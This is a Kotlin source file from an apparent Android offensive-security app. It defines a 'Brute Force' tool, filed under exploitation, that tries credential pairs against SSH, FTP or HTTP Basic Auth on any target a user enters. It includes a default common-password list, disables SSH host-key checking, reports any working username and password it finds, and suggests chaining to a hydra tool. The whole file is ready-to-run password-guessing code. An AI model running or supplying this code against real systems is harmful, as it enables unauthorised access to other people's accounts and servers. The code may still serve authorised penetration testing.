package com.optix.android.tools.exploit

import com.jcraft.jsch.JSch
import com.jcraft.jsch.JSchException
import com.optix.android.domain.model.OsintResult
import com.optix.android.domain.model.ParamType
import com.optix.android.domain.model.ToolCategory
import com.optix.android.domain.model.ToolEvent
import com.optix.android.domain.model.ToolMetadata
import com.optix.android.domain.model.ToolParam
import com.optix.android.tools.registry.BaseTool
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.isActive
import kotlinx.coroutines.withContext
import okhttp3.Credentials
import okhttp3.OkHttpClient
import okhttp3.Request
import java.io.BufferedReader
import java.io.InputStreamReader
import java.io.PrintWriter
import java.net.Socket
import kotlin.coroutines.coroutineContext

class BruteForceTool(private val client: OkHttpClient) : BaseTool() {

    override val metadata = ToolMetadata(
        name = "brute_force",
        displayName = "Brute Force",
        description = "Native credential brute-force against SSH, FTP, or HTTP Basic Auth — no Termux required.",
        category = ToolCategory.EXPLOITATION,
        parameters = listOf(
            ToolParam("target", ParamType.STRING, "Target URL or host:port"),
            ToolParam("protocol", ParamType.ENUM, "Protocol", defaultValue = "http",
                enumValues = listOf("http", "ftp", "ssh")),
            ToolParam("username", ParamType.STRING, "Username (or comma-separated list)"),
            ToolParam("wordlist", ParamType.STRING, "Password wordlist (comma-separated)", required = false,
                defaultValue = "admin,password,123456,letmein,qwerty,root,toor"),
        ),
    )

    override suspend fun execute(params: Map<String, Any>, emit: suspend (ToolEvent) -> Unit) {
        val target = paramRequired(params, "target")
        val protocol = param(params, "protocol") ?: "http"
        val usernames = paramRequired(params, "username").split(",").map { it.trim() }
        val passwords = (param(params, "wordlist") ?: "admin,password,123456").split(",").map { it.trim() }
        val total = usernames.size * passwords.size

        emit(ToolEvent.Log("Brute force ($protocol): $target — ${usernames.size} users × ${passwords.size} passwords"))

        var tried = 0
        var found = false

        withContext(Dispatchers.IO) {
            outer@ for (user in usernames) {
                for (pass in passwords) {
                    if (!coroutineContext.isActive) break@outer
                    tried++
                    emit(ToolEvent.Progress(tried, total))

                    val success = when (protocol) {
                        "http" -> tryHttp(target, user, pass)
                        "ssh" -> trySsh(target, user, pass)
                        "ftp" -> tryFtp(target, user, pass)
                        else -> false
                    }

                    if (success) {
                        emit(ToolEvent.Result(OsintResult("Credentials", "$user:$pass", target)))
                        emit(ToolEvent.Log("  [FOUND] $user:$pass"))
                        found = true
                        break@outer
                    }
                }
            }
        }

        if (!found) emit(ToolEvent.Log("  No valid credentials found."))
        emit(ToolEvent.ChainSuggestion("hydra_termux", mapOf("target" to target, "service" to protocol)))
        emit(ToolEvent.Done)
    }

    private fun tryHttp(target: String, user: String, pass: String): Boolean {
        return runCatching {
            val request = Request.Builder()
                .url(target)
                .header("Authorization", Credentials.basic(user, pass))
                .build()
            client.newCall(request).execute().use { it.code == 200 }
        }.getOrDefault(false)
    }

    private fun trySsh(target: String, user: String, pass: String): Boolean {
        val parts = target.split(":")
        val host = parts[0]
        val port = if (parts.size > 1) parts[1].toIntOrNull() ?: 22 else 22

        return try {
            val jsch = JSch()
            val session = jsch.getSession(user, host, port)
            session.setPassword(pass)
            session.setConfig("StrictHostKeyChecking", "no")
            session.setConfig("PreferredAuthentications", "password")
            session.timeout = 5000
            session.connect(5000)
            session.disconnect()
            true
        } catch (e: JSchException) {
            // Auth failure is expected — anything else is a connection error
            false
        }
    }

    private fun tryFtp(target: String, user: String, pass: String): Boolean {
        val parts = target.split(":")
        val host = parts[0]
        val port = if (parts.size > 1) parts[1].toIntOrNull() ?: 21 else 21

        return try {
            Socket(host, port).use { socket ->
                socket.soTimeout = 5000
                val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
                val writer = PrintWriter(socket.getOutputStream(), true)

                // Read welcome banner
                reader.readLine()

                // Send USER
                writer.println("USER $user")
                val userResp = reader.readLine() ?: return false

                // Send PASS
                writer.println("PASS $pass")
                val passResp = reader.readLine() ?: return false

                // FTP 230 = Login successful
                writer.println("QUIT")
                passResp.startsWith("230")
            }
        } catch (e: Exception) {
            false
        }
    }
}
